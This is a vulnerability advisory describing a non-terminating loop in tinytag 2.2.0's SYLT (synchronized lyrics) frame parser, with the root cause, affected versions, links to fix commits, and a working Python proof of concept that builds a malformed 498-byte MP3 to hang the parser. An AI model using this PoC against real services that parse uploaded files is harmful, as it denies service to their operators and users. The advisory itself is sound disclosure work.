Denial of service via non-terminating SYLT frame parsing loop in tinytag

Summary

tinytag 2.2.0 allows an attacker who can supply MP3 files for parsing to trigger a non-terminating loop while the library parses an ID3v2 SYLT (synchronized lyrics) frame. In server-side deployments that automatically parse attacker-supplied files, a single 498-byte MP3 can cause the parsing operation to stop making progress and remain busy until the worker or process is terminated.

Details

In tag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244), the reachable call path is:

• TinyTag.get in tinytag/tinytag.py#L144-L154
• _load in tinytag/tinytag.py#L259-L266
• _parse_tag and _parse_id3v2 in tinytag/tinytag.py#L1059-L1092
• _parse_frame for SYLT / SLT in tinytag/tinytag.py#L1316-L1318
• _parse_synced_lyrics and _find_string_end_pos in tinytag/tinytag.py#L1219-L1248 and tinytag/tinytag.py#L1340-L1352

The root cause is that _parse_synced_lyrics assumes _find_string_end_pos always returns a position greater than the current offset. That assumption is false when no string terminator is present in the remaining frame content.

For single-byte encodings, _find_string_end_pos does:

return content.find(b'\x00', start_pos) + 1

If no terminator exists, content.find(...) returns -1, so the function returns 0. _parse_synced_lyrics then does offset = end_pos, which resets offset to 0 inside:

while offset < content_length:
    end_pos = self._find_string_end_pos(content, encoding, offset)
    value = self._decode_string(encoding + content[offset:end_pos]).lstrip('\n')
    offset = end_pos
    time = unpack('>I', content[offset:offset + 4])[0]

Because offset is reset to 0, the loop condition remains true and the parser stops making forward progress. The UTF-16 branch in _find_string_end_pos has the same shape: if no b'\x00\x00' terminator is found, it also returns 0, so the same non-progress condition applies there.

SYLT parsing support was introduced by commit 4d649b9c314ada8ff8a74e0469e9aadb3acb252a (ID3: Make synced lyrics available in 'other.lyrics' (LRC format) (#270)), which first shipped in 2.2.0. I confirmed that 2.1.2 does not contain _parse_synced_lyrics, so 2.2.0 is the only confirmed affected release at this time.

Test environment:

• MacBook Air (Apple M2), macOS 26.3 / Darwin arm64
• Python 3.14.3
• Confirmed affected release: tinytag 2.2.0 (6f1d3060f393743c2ec34d07c0855cceed827244)
• Also reproduced on current main commit 1d23f6fe169c92c070a265f9108e295577141383

PoC

The following self-contained PoC generates a malformed SYLT frame and passes it to TinyTag.get:

#!/usr/bin/env python3
import signal
import struct
import time
from io import BytesIO

from tinytag import TinyTag


def create_malicious_mp3() -> bytes:
    id3_header = b"ID3" + bytes([3, 0, 0])  # ID3v2.3
    encoding = b"\x00"  # ISO-8859-1
    language = b"eng"
    timestamp_format = b"\x02"
    content_type = b"\x01"
    descriptor = b"test\x00"
    lyrics_data = b"A" * 50  # no null terminator in the remaining SYLT payload
    frame_content = (
        encoding + language + timestamp_format + content_type + descriptor + lyrics_data
    )
    frame = b"SYLT" + struct.pack(">I", len(frame_content)) + b"\x00\x00" + frame_content

    tag_size = len(frame)
    synchsafe = bytearray(4)
    n = tag_size
    for i in range(3, -1, -1):
        synchsafe[i] = n & 0x7F
        n >>= 7

    return (
        id3_header
        + bytes(synchsafe)
        + frame
        + b"\xff\xfb\x90\x00"
        + b"\x00" * 413
    )


def timeout_handler(signum, frame) -> None:
    print("CONFIRMED: parsing did not finish within 10.0s; external interruption was required")
    raise SystemExit(1)


signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(10)
start = time.time()

try:
    TinyTag.get(file_obj=BytesIO(create_malicious_mp3()), filename="poc.mp3")
    signal.alarm(0)
    print(f"Unexpectedly completed in {time.time() - start:.3f}s")
except SystemExit:
    raise
except Exception as exc:
    signal.alarm(0)
    print(f"Unexpected exception before timeout: {type(exc).__name__}: {exc}")

Observed output on 2.2.0 in the environment above:

CONFIRMED: parsing did not finish within 10.0s; external interruption was required

Impact

An attacker who can supply MP3 files for parsing can cause tinytag to enter a non-terminating loop in its own parser. This is a library-level availability issue in the documented parsing path.

In server-side processing of attacker-supplied files, a single request can tie up a worker or process that performs metadata extraction. In local or desktop integrations, opening a malicious file can hang the parsing task until it is interrupted.

Patches

Fixed in the following commits:

• https://github.com/tinytag/tinytag/commit/5cd321521ff097e41724b601d7e3d7adc7e53402
• https://github.com/tinytag/tinytag/commit/44e496310f7ced8077e9087e3774acbaa324b18a